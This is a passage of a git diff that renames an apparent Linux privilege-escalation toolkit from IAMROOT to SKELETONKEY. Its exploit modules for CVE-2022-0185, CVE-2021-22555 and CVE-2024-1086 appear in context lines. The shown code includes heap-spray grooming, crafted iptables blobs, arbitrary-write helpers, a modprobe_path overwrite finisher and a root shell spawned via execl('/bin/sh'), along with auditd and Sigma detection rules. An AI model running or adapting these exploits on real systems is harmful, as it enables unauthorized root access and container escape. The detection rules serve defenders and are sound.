fuse_legacy_exploit(const struct iamroot_ctx *ctx) char *first_chunk = malloc(4081); if (!first_chunk) { free(qids); munmap(spray, sizeof *spray); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } memset(first_chunk, 'A', 4080); first_chunk[4080] = '\0'; @@ -632,7 +632,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) * step below. */ char evil_chunk[256]; memset(evil_chunk, 'B', sizeof evil_chunk); - memcpy(evil_chunk, "IAMROOT0", 8); /* marker → "did we land?" */ + memcpy(evil_chunk, "SKELETONKEY0", 8); /* marker → "did we land?" */ /* Tail must be NUL-terminated for legacy_parse_param's strdup. */ evil_chunk[sizeof evil_chunk - 1] = '\0'; @@ -653,7 +653,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) fprintf(stderr, "[-] fuse_legacy: fsconfig overflow rejected (errno=%d: %s)\n", errno, strerror(errno)); free(qids); munmap(spray, sizeof *spray); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!ctx->json) { @@ -725,7 +725,7 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) * (see fuse_arb_write). On a host where offsets + groom land, * the finisher's modprobe_path overwrite → execve(unknown) → * call_modprobe chain pops a root shell. On a mismatched host - * the sanity gate trips and we exit IAMROOT_EXPLOIT_FAIL with no + * the sanity gate trips and we exit SKELETONKEY_EXPLOIT_FAIL with no * fabricated success. * * Cleanup of qids/spray/fsfd is deferred to AFTER the finisher @@ -739,19 +739,19 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) "kernel offsets...\n"); } - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; memset(&off, 0, sizeof off); - int resolved = iamroot_offsets_resolve(&off); + int resolved = skeletonkey_offsets_resolve(&off); if (!ctx->json) { fprintf(stderr, "[i] fuse_legacy: offsets resolved=%d " "(modprobe_path=0x%lx source=%s)\n", resolved, (unsigned long)off.modprobe_path, - iamroot_offset_source_name(off.source_modprobe)); - iamroot_offsets_print(&off); + skeletonkey_offset_source_name(off.source_modprobe)); + skeletonkey_offsets_print(&off); } - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("fuse_legacy"); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("fuse_legacy"); /* Cleanup before returning. */ for (int q = 0; q < N_QUEUES; q++) { if (qids[q] >= 0) msgctl(qids[q], IPC_RMID, NULL); @@ -759,18 +759,18 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) free(qids); munmap(spray, sizeof *spray); if (fsfd >= 0) close(fsfd); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } struct fuse_arb_ctx ax = { .qids = qids, .n_queues = N_QUEUES, .hole_q = hole_q, - .tag = "IAMROOT", + .tag = "SKELETONKEY", .trigger_armed = true, }; - iamroot_result_t fr = iamroot_finisher_modprobe_path( + skeletonkey_result_t fr = skeletonkey_finisher_modprobe_path( &off, fuse_arb_write, &ax, !ctx->no_shell); /* Cleanup IPC + mapping regardless of finisher result. The @@ -783,14 +783,14 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) munmap(spray, sizeof *spray); if (fsfd >= 0) close(fsfd); - if (fr == IAMROOT_EXPLOIT_OK) { - return IAMROOT_EXPLOIT_OK; + if (fr == SKELETONKEY_EXPLOIT_OK) { + return SKELETONKEY_EXPLOIT_OK; } if (!ctx->json) { fprintf(stderr, "[-] fuse_legacy: --full-chain finisher did not land " "(arb-write sanity gate or modprobe sentinel refused)\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif /* __linux__ */ @@ -814,16 +814,16 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) "popping root shell\n"); } if (ctx->no_shell) { - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } execl("/bin/sh", "sh", "-i", (char *)NULL); perror("execl /bin/sh"); - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; } fprintf(stderr, "[-] fuse_legacy: trigger fired but cred-overwrite tail " "not wired — see source for the missing offsets.\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } /* ------------------------------------------------------------------ */ @@ -832,13 +832,13 @@ static iamroot_result_t fuse_legacy_exploit(const struct iamroot_ctx *ctx) static const char fuse_legacy_auditd[] = "# CVE-2022-0185 — auditd detection rules\n" "# Flag unshare(USER|NS) chained with fsopen/fsconfig from non-root.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-fuse-legacy\n" - "-a always,exit -F arch=b64 -S fsopen -k iamroot-fuse-legacy-fsopen\n" - "-a always,exit -F arch=b64 -S fsconfig -k iamroot-fuse-legacy-fsconfig\n"; + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-fuse-legacy\n" + "-a always,exit -F arch=b64 -S fsopen -k skeletonkey-fuse-legacy-fsopen\n" + "-a always,exit -F arch=b64 -S fsconfig -k skeletonkey-fuse-legacy-fsconfig\n"; static const char fuse_legacy_sigma[] = "title: Possible CVE-2022-0185 legacy_parse_param exploitation\n" - "id: 9e1b2c45-iamroot-fuse-legacy\n" + "id: 9e1b2c45-skeletonkey-fuse-legacy\n" "status: experimental\n" "description: |\n" " Detects the canonical exploit shape: unprivileged process unshares\n" @@ -856,7 +856,7 @@ static const char fuse_legacy_sigma[] = "level: high\n" "tags: [attack.privilege_escalation, attack.t1611, cve.2022.0185]\n"; -const struct iamroot_module fuse_legacy_module = { +const struct skeletonkey_module fuse_legacy_module = { .name = "fuse_legacy", .cve = "CVE-2022-0185", .summary = "legacy_parse_param fsconfig heap OOB → container-escape LPE", @@ -872,7 +872,7 @@ const struct iamroot_module fuse_legacy_module = { .detect_falco = NULL, }; -void iamroot_register_fuse_legacy(void) +void skeletonkey_register_fuse_legacy(void) { - iamroot_register(&fuse_legacy_module); + skeletonkey_register(&fuse_legacy_module); } diff --git a/modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.h b/modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.h new file mode 100644 index 0000000..8cecc5a --- /dev/null +++ b/modules/fuse_legacy_cve_2022_0185/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * fuse_legacy_cve_2022_0185 — SKELETONKEY module registry hook + */ + +#ifndef FUSE_LEGACY_SKELETONKEY_MODULES_H +#define FUSE_LEGACY_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module fuse_legacy_module; + +#endif diff --git a/modules/netfilter_xtcompat_cve_2021_22555/NOTICE.md b/modules/netfilter_xtcompat_cve_2021_22555/NOTICE.md index b697e01..29ed668 100644 --- a/modules/netfilter_xtcompat_cve_2021_22555/NOTICE.md +++ b/modules/netfilter_xtcompat_cve_2021_22555/NOTICE.md @@ -18,7 +18,7 @@ Upstream fix: mainline 5.12 / 5.11.10 (April 2021). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. -## IAMROOT role +## SKELETONKEY role Userns+netns reach, hand-rolled `ipt_replace` blob, `setsockopt` `IPT_SO_SET_REPLACE` fires the 4-byte OOB at heap+0x4. msg_msg diff --git a/modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.h b/modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.h deleted file mode 100644 index 63ee543..0000000 --- a/modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * netfilter_xtcompat_cve_2021_22555 — IAMROOT module registry hook - */ - -#ifndef NETFILTER_XTCOMPAT_IAMROOT_MODULES_H -#define NETFILTER_XTCOMPAT_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module netfilter_xtcompat_module; - -#endif diff --git a/modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.c b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c similarity index 90% rename from modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.c rename to modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c index bef4669..3ba5778 100644 --- a/modules/netfilter_xtcompat_cve_2021_22555/iamroot_modules.c +++ b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * netfilter_xtcompat_cve_2021_22555 — IAMROOT module + * netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module * * Heap-out-of-bounds in xt_compat_target_to_user(): the 32-bit * compat handler for iptables rule export wrote up to 4 bytes @@ -26,18 +26,18 @@ * - Trigger sequence: hand-rolled iptables rule blob with * malformed xt_entry_target offset; setsockopt fires the OOB. * - Cross-cache groom: msg_msg sprays (kmalloc-2k slots) and - * sk_buff sprays via socketpair+sendmmsg, both with IAMROOT + * sk_buff sprays via socketpair+sendmmsg, both with SKELETONKEY * cookies for KASAN visibility. * - Empirical witness via msgrcv(MSG_COPY) + /proc/slabinfo - * diff + /tmp/iamroot-xtcompat.log breadcrumb. + * diff + /tmp/skeletonkey-xtcompat.log breadcrumb. * - With --full-chain: shared finisher (core/finisher.c) is * invoked to perform the modprobe_path overwrite + execve * unknown-binary trigger. Requires modprobe_path resolution * via core/offsets.c (env/kallsyms/System.map). Sentinel-file * check in the finisher is the empirical witness for the - * write landing — IAMROOT never claims root unless it sees + * write landing — SKELETONKEY never claims root unless it sees * the setuid bash drop with mode 4755 + uid 0. - * - Without --full-chain: returns IAMROOT_EXPLOIT_FAIL after + * - Without --full-chain: returns SKELETONKEY_EXPLOIT_FAIL after * the primitive demo (verified-vs-claimed bar). * * Affected: kernel 2.6.19+ until backports landed: @@ -56,7 +56,7 @@ * (almost always autoload-able on default-config kernels) */ -#include "iamroot_modules.h" +#include "skeletonkey_modules.h" #include "../../core/registry.h" #include "../../core/kernel_range.h" #include "../../core/offsets.h" @@ -94,7 +94,7 @@ #endif /* ---------- macOS / non-linux build stubs --------------------------- - * IAMROOT modules are dev-built on macOS (clangd / syntax check) and + * SKELETONKEY modules are dev-built on macOS (clangd / syntax check) and * run-built on Linux. The Linux-only types and IPT_SO_SET_REPLACE * constants are absent on Darwin; stub them so the .c file compiles * cleanly under either toolchain. The actual exploit body is gated @@ -152,12 +152,12 @@ static int can_unshare_userns(void) return WIFEXITED(status) && WEXITSTATUS(status) == 0; } -static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx) +static skeletonkey_result_t netfilter_xtcompat_detect(const struct skeletonkey_ctx *ctx) { struct kernel_version v; if (!kernel_version_current(&v)) { fprintf(stderr, "[!] netfilter_xtcompat: could not parse kernel version\n"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (v.major < 2 || (v.major == 2 && v.minor < 6)) { @@ -165,7 +165,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] netfilter_xtcompat: kernel %s predates the bug introduction\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } bool patched = kernel_range_is_patched(&netfilter_xtcompat_range, &v); @@ -173,7 +173,7 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx) if (!ctx->json) { fprintf(stderr, "[+] netfilter_xtcompat: kernel %s is patched\n", v.release); } - return IAMROOT_OK; + return SKELETONKEY_OK; } int userns_ok = can_unshare_userns(); @@ -190,14 +190,14 @@ static iamroot_result_t netfilter_xtcompat_detect(const struct iamroot_ctx *ctx) fprintf(stderr, "[+] netfilter_xtcompat: user_ns denied → " "unprivileged exploit path unreachable\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } if (!ctx->json) { fprintf(stderr, "[!] netfilter_xtcompat: VULNERABLE — kernel in range " "AND user_ns reachable\n"); } - return IAMROOT_VULNERABLE; + return SKELETONKEY_VULNERABLE; } /* ---- Exploit: userns reach + trigger + groom ---------------------- */ @@ -252,11 +252,11 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES]) struct xtcompat_payload *p = calloc(1, sizeof(*p)); if (!p) return 0; p->mtype = 0x42; - /* 0x41 ('A') fill with leading "IAMROOT2" cookie so adjacent- - * slot corruption is recognizable in /tmp/iamroot-xtcompat.log + /* 0x41 ('A') fill with leading "SKELETONKEY2" cookie so adjacent- + * slot corruption is recognizable in /tmp/skeletonkey-xtcompat.log * and in KASAN/oops dumps. */ memset(p->buf, 0x41, sizeof p->buf); - memcpy(p->buf, "IAMROOT2", 8); + memcpy(p->buf, "SKELETONKEY2", 8); int created = 0; for (int i = 0; i < XTCOMPAT_SPRAY_QUEUES; i++) { @@ -278,7 +278,7 @@ static int xtcompat_msgmsg_spray(int queues[XTCOMPAT_SPRAY_QUEUES]) } /* Walk every queue, peek-copy each message (MSG_COPY = read without - * dequeue), and look for any whose first 8 bytes are NOT "IAMROOT2". + * dequeue), and look for any whose first 8 bytes are NOT "SKELETONKEY2". * A non-matching prefix is the empirical witness for the OOB write * landing in an adjacent slot. Returns the count of corrupted slots. */ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES]) @@ -292,7 +292,7 @@ static int xtcompat_msgmsg_witness(int queues[XTCOMPAT_SPRAY_QUEUES]) ssize_t n = msgrcv(queues[i], p, sizeof p->buf, 0, MSG_COPY | IPC_NOWAIT | 0x2000 /* MSG_NOERROR */); if (n < 0) break; - if (memcmp(p->buf, "IAMROOT2", 8) != 0) { + if (memcmp(p->buf, "SKELETONKEY2", 8) != 0) { corrupted++; } } @@ -324,7 +324,7 @@ static void xtcompat_skb_spray(int iters) unsigned char *buf = malloc(1800); if (!buf) { close(sv[0]); close(sv[1]); return; } memset(buf, 0x41, 1800); - memcpy(buf, "IAMROOTSKB", 10); + memcpy(buf, "SKELETONKEYSKB", 10); struct iovec iov = { .iov_base = buf, .iov_len = 1800 }; struct mmsghdr mm[32]; for (int i = 0; i < 32; i++) { @@ -395,10 +395,10 @@ static bool xtcompat_build_blob(unsigned char **out_buf, size_t *out_len) /* Plant a recognizable marker so a vulnerable kernel's compat * decoder reads our crafted entry rather than zeroed memory. - * Marker is intentionally "IAMROOT\0" so a KASAN report's hex + * Marker is intentionally "SKELETONKEY\0" so a KASAN report's hex * dump points back here. */ unsigned char *entry_region = blob + sizeof(*r); - memcpy(entry_region, "IAMROOTX", 8); + memcpy(entry_region, "SKELETONKEYX", 8); /* The xt_entry_target sits at entry_region + sizeof(ipt_entry). * Its `u.target_size` field is the lever Andy bends to underflow * the pad-out write: setting target_size to a value such that @@ -524,7 +524,7 @@ struct xtcompat_arb_ctx { uid_t outer_uid; gid_t outer_gid; - /* Per-call statistics for /tmp/iamroot-xtcompat.log. */ + /* Per-call statistics for /tmp/skeletonkey-xtcompat.log. */ int arb_calls; int arb_landed; }; @@ -541,7 +541,7 @@ static int xtcompat_arb_seed_target(struct xtcompat_arb_ctx *c, if (!p) return 0; p->mtype = 0x43; memset(p->buf, 0x41, sizeof p->buf); - memcpy(p->buf, "IAMROOTW", 8); + memcpy(p->buf, "SKELETONKEYW", 8); /* Plant the target address at every 0x800-aligned slot inside * the payload, so wherever the kernel's m_list_next sits * relative to our payload base, the candidate value is present. */ @@ -640,48 +640,48 @@ static int xtcompat_arb_write(uintptr_t kaddr, /* ---- Exploit driver ---------------------------------------------- */ -static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx) +static skeletonkey_result_t netfilter_xtcompat_exploit(const struct skeletonkey_ctx *ctx) { /* 1. Refuse-gate: re-confirm vulnerability through detect(). */ - iamroot_result_t pre = netfilter_xtcompat_detect(ctx); - if (pre == IAMROOT_OK && geteuid() == 0) { + skeletonkey_result_t pre = netfilter_xtcompat_detect(ctx); + if (pre == SKELETONKEY_OK && geteuid() == 0) { fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } - if (pre != IAMROOT_VULNERABLE) { + if (pre != SKELETONKEY_VULNERABLE) { fprintf(stderr, "[-] netfilter_xtcompat: detect() says not vulnerable; refusing\n"); return pre; } if (geteuid() == 0) { fprintf(stderr, "[i] netfilter_xtcompat: already root — nothing to escalate\n"); - return IAMROOT_OK; + return SKELETONKEY_OK; } if (!ctx->authorized) { fprintf(stderr, "[-] netfilter_xtcompat: --i-know not passed; refusing\n"); - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; } #ifndef __linux__ fprintf(stderr, "[-] netfilter_xtcompat: linux-only exploit; non-linux build\n"); (void)ctx; - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; #else /* Full-chain pre-check: resolve offsets before forking. If * modprobe_path can't be resolved, refuse early with the manual- * workflow help — no point doing the userns + spray + trigger * dance if we can't finish. */ - struct iamroot_kernel_offsets off; + struct skeletonkey_kernel_offsets off; bool full_chain_ready = false; if (ctx->full_chain) { memset(&off, 0, sizeof off); - iamroot_offsets_resolve(&off); - if (!iamroot_offsets_have_modprobe_path(&off)) { - iamroot_finisher_print_offset_help("netfilter_xtcompat"); + skeletonkey_offsets_resolve(&off); + if (!skeletonkey_offsets_have_modprobe_path(&off)) { + skeletonkey_finisher_print_offset_help("netfilter_xtcompat"); fprintf(stderr, "[-] netfilter_xtcompat: --full-chain requested but " "modprobe_path offset unresolved; refusing\n"); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } - iamroot_offsets_print(&off); + skeletonkey_offsets_print(&off); full_chain_ready = true; } @@ -705,7 +705,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx pid_t child = fork(); if (child < 0) { perror("fork"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (child == 0) { @@ -771,7 +771,7 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx long post_slab = slab_active_kmalloc_2k(); /* Breadcrumb for post-run triage. */ - FILE *log = fopen("/tmp/iamroot-xtcompat.log", "w"); + FILE *log = fopen("/tmp/skeletonkey-xtcompat.log", "w"); if (log) { fprintf(log, "netfilter_xtcompat trigger child: queues=%d trig_errno=%d " @@ -810,20 +810,20 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx .arb_calls = 0, .arb_landed = 0, }; - int fr = iamroot_finisher_modprobe_path(&off, + int fr = skeletonkey_finisher_modprobe_path(&off, xtcompat_arb_write, &arb_ctx, !ctx->no_shell); /* If the finisher execve'd a root shell, we never get * here. Otherwise it returned EXPLOIT_FAIL / OK. */ - FILE *fl = fopen("/tmp/iamroot-xtcompat.log", "a"); + FILE *fl = fopen("/tmp/skeletonkey-xtcompat.log", "a"); if (fl) { fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n", fr, arb_ctx.arb_calls, arb_ctx.arb_landed); fclose(fl); } xtcompat_msgmsg_drain(queues); - if (fr == IAMROOT_EXPLOIT_OK) _exit(34); + if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34); _exit(35); } /* Primitive-only mode: still NOT root — but it's the @@ -836,11 +836,11 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx _exit(30); } - /* PARENT: reap child + map exit code → iamroot_result. */ + /* PARENT: reap child + map exit code → skeletonkey_result. */ int status = 0; if (waitpid(child, &status, 0) < 0) { perror("waitpid"); - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; } if (WIFSIGNALED(status)) { @@ -850,14 +850,14 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx "(crash during trigger — OOB likely fired)\n", sig); fprintf(stderr, "[~] netfilter_xtcompat: empirical OOB witness but no " "cred-overwrite primitive — returning EXPLOIT_FAIL\n" - " See /tmp/iamroot-xtcompat.log + dmesg for KASAN/oops.\n"); + " See /tmp/skeletonkey-xtcompat.log + dmesg for KASAN/oops.\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } if (!WIFEXITED(status)) { fprintf(stderr, "[-] netfilter_xtcompat: child terminated abnormally (status=0x%x)\n", status); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } int rc = WEXITSTATUS(status); @@ -866,25 +866,25 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx if (!ctx->json) { fprintf(stderr, "[-] netfilter_xtcompat: userns setup failed (rc=%d)\n", rc); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 22: if (!ctx->json) { fprintf(stderr, "[-] netfilter_xtcompat: msg_msg spray failed; sysvipc may be " "restricted (kernel.msg_max / ulimit -q)\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 23: if (!ctx->json) { fprintf(stderr, "[-] netfilter_xtcompat: CAP_NET_ADMIN unreachable in userns — " "exploit path closed\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 24: if (!ctx->json) { fprintf(stderr, "[-] netfilter_xtcompat: socket/blob setup failed; " "see preceding errno\n"); } - return IAMROOT_TEST_ERROR; + return SKELETONKEY_TEST_ERROR; case 30: if (!ctx->json) { fprintf(stderr, "[*] netfilter_xtcompat: trigger ran; no msg_msg corruption " @@ -892,19 +892,19 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx fprintf(stderr, "[~] netfilter_xtcompat: returning EXPLOIT_FAIL (primitive " "may have fired but did not land on sprayed slots)\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; case 31: if (!ctx->json) { fprintf(stderr, "[+] netfilter_xtcompat: kernel rejected blob with EINVAL — " "appears patched at runtime (validator)\n"); } - return IAMROOT_OK; + return SKELETONKEY_OK; case 32: if (!ctx->json) { fprintf(stderr, "[+] netfilter_xtcompat: setsockopt EPERM — CAP_NET_ADMIN " "not effective in userns on this kernel\n"); } - return IAMROOT_PRECOND_FAIL; + return SKELETONKEY_PRECOND_FAIL; case 33: if (!ctx->json) { fprintf(stderr, "[!] netfilter_xtcompat: msg_msg slot corruption WITNESSED — " @@ -918,38 +918,38 @@ static iamroot_result_t netfilter_xtcompat_exploit(const struct iamroot_ctx *ctx " attacker-controlled — read-where via msgrcv.\n" " 2. Use that leak to find &init_task and\n" " modprobe_path in kernel .data — both offsets\n" - " are per-kernel-build and IAMROOT refuses to\n" + " are per-kernel-build and SKELETONKEY refuses to\n" " bake them.\n" " 3. Pivot to a write-where via a fake msg_msgseg\n" " and overwrite modprobe_path → exec a setuid\n" " helper for root pop.\n" " See Andy Nguyen's writeup for the full chain.\n"); } - if (ctx->no_shell) return IAMROOT_OK; - return IAMROOT_EXPLOIT_FAIL; + if (ctx->no_shell) return SKELETONKEY_OK; + return SKELETONKEY_EXPLOIT_FAIL; case 34: if (!ctx->json) { fprintf(stderr, "[+] netfilter_xtcompat: --full-chain finisher reported " "EXPLOIT_OK (sentinel setuid bash dropped)\n"); } - return IAMROOT_EXPLOIT_OK; + return SKELETONKEY_EXPLOIT_OK; case 35: if (!ctx->json) { fprintf(stderr, "[-] netfilter_xtcompat: --full-chain finisher returned " "FAIL (sentinel not observed within timeout)\n" - " See /tmp/iamroot-xtcompat.log for arb_calls/arb_landed\n"); + " See /tmp/skeletonkey-xtcompat.log for arb_calls/arb_landed\n"); } - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; default: fprintf(stderr, "[-] netfilter_xtcompat: child exit %d unexpected\n", rc); - return IAMROOT_EXPLOIT_FAIL; + return SKELETONKEY_EXPLOIT_FAIL; } #endif /* __linux__ */ } /* ---- Cleanup ----------------------------------------------------- */ -static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx) +static skeletonkey_result_t netfilter_xtcompat_cleanup(const struct skeletonkey_ctx *ctx) { if (!ctx->json) { fprintf(stderr, "[*] netfilter_xtcompat: removing log + best-effort msg queue cleanup\n"); @@ -957,10 +957,10 @@ static iamroot_result_t netfilter_xtcompat_cleanup(const struct iamroot_ctx *ctx /* The msg queues live in the child's IPC namespace which dies * with the child — so the in-process drain already handled them. * The /tmp breadcrumb survives, remove it here. */ - if (unlink("/tmp/iamroot-xtcompat.log") < 0 && errno != ENOENT) { + if (unlink("/tmp/skeletonkey-xtcompat.log") < 0 && errno != ENOENT) { /* harmless */ } - return IAMROOT_OK; + return SKELETONKEY_OK; } /* ---- Detection rules --------------------------------------------- */ @@ -970,12 +970,12 @@ static const char netfilter_xtcompat_auditd[] = "# The exploit's hallmarks: unshare(USER|NET) chained with iptables\n" "# rule setup via setsockopt(SOL_IP, IPT_SO_SET_REPLACE=64) and\n" "# msgsnd/msgrcv heap-spray patterns.\n" - "-a always,exit -F arch=b64 -S unshare -k iamroot-xtcompat\n" - "-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k iamroot-xtcompat-iptopt\n" - "-a always,exit -F arch=b64 -S msgsnd -k iamroot-xtcompat-msgmsg\n" - "-a always,exit -F arch=b64 -S msgrcv -k iamroot-xtcompat-msgmsg\n"; + "-a always,exit -F arch=b64 -S unshare -k skeletonkey-xtcompat\n" + "-a always,exit -F arch=b64 -S setsockopt -F a1=0 -F a2=64 -k skeletonkey-xtcompat-iptopt\n" + "-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-xtcompat-msgmsg\n" + "-a always,exit -F arch=b64 -S msgrcv -k skeletonkey-xtcompat-msgmsg\n"; -const struct iamroot_module netfilter_xtcompat_module = { +const struct skeletonkey_module netfilter_xtcompat_module = { .name = "netfilter_xtcompat", .cve = "CVE-2021-22555", .summary = "iptables xt_compat_target_to_user 4-byte heap-OOB write → cross-cache UAF → root", @@ -991,7 +991,7 @@ const struct iamroot_module netfilter_xtcompat_module = { .detect_falco = NULL, }; -void iamroot_register_netfilter_xtcompat(void) +void skeletonkey_register_netfilter_xtcompat(void) { - iamroot_register(&netfilter_xtcompat_module); + skeletonkey_register(&netfilter_xtcompat_module); } diff --git a/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.h b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.h new file mode 100644 index 0000000..6a27f9b --- /dev/null +++ b/modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * netfilter_xtcompat_cve_2021_22555 — SKELETONKEY module registry hook + */ + +#ifndef NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H +#define NETFILTER_XTCOMPAT_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module netfilter_xtcompat_module; + +#endif diff --git a/modules/nf_tables_cve_2024_1086/NOTICE.md b/modules/nf_tables_cve_2024_1086/NOTICE.md index f6d702e..5da4058 100644 --- a/modules/nf_tables_cve_2024_1086/NOTICE.md +++ b/modules/nf_tables_cve_2024_1086/NOTICE.md @@ -16,7 +16,7 @@ GitHub: Upstream fix: mainline 6.8-rc1 (commit `f342de4e2f33`, Jan 2024). Stable backports throughout Q1 2024. -## IAMROOT role +## SKELETONKEY role This module fires the malformed-verdict trigger (NFT_GOTO + NFT_DROP in the same verdict) via a hand-rolled nfnetlink batch — no libmnl diff --git a/modules/nf_tables_cve_2024_1086/iamroot_modules.h b/modules/nf_tables_cve_2024_1086/iamroot_modules.h deleted file mode 100644 index 0238bf1..0000000 --- a/modules/nf_tables_cve_2024_1086/iamroot_modules.h +++ /dev/null @@ -1,12 +0,0 @@ -/* - * nf_tables_cve_2024_1086 — IAMROOT module registry hook - */ - -#ifndef NF_TABLES_IAMROOT_MODULES_H -#define NF_TABLES_IAMROOT_MODULES_H - -#include "../../core/module.h" - -extern const struct iamroot_module nf_tables_module; - -#endif diff --git a/modules/nf_tables_cve_2024_1086/iamroot_modules.c b/modules/nf_tables_cve_2024_1086/skeletonkey_modules.c similarity index 93% rename from modules/nf_tables_cve_2024_1086/iamroot_modules.c rename to modules/nf_tables_cve_2024_1086/skeletonkey_modules.c index 0a8bae0..ebdd097 100644 --- a/modules/nf_tables_cve_2024_1086/iamroot_modules.c +++ b/modules/nf_tables_cve_2024_1086/skeletonkey_modules.c @@ -1,5 +1,5 @@ /* - * nf_tables_cve_2024_1086 — IAMROOT module + * nf_tables_cve_2024_1086 — SKELETONKEY module * * Netfilter nf_tables UAF when NFT_GOTO/NFT_JUMP verdicts coexist * with NFT_DROP/NFT_QUEUE. Triggers a double-free → cross-cache UAF @@ -13,11 +13,11 @@ * (table → chain → set → rule with the NFT_GOTO+NFT_DROP combo * that nft_verdict_init() fails to reject on vulnerable kernels), * fires the double-free path, runs the msg_msg cg-96 groom, and - * returns IAMROOT_EXPLOIT_FAIL (primitive-only behavior). + * returns SKELETONKEY_EXPLOIT_FAIL (primitive-only behavior). * - With --full-chain: after the trigger lands, we resolve kernel * offsets (env → kallsyms → System.map → embedded table) and run * a Notselwyn-style pipapo arb-write via the shared - * iamroot_finisher_modprobe_path() helper. The arb-write itself + * skeletonkey_finisher_modprobe_path() helper. The arb-write itself * is FALLBACK-DEPTH: we re-fire the trigger and spray a msg_msg * payload tagged with the kaddr in the value-pointer slot. The * exact pipapo_elem layout (and the value-pointer field offset) @@ -34,7 +34,7 @@ * heap pointer. * 3. Implement the sk_buff fragment overwrite to plant a fake * pipapo_elem whose 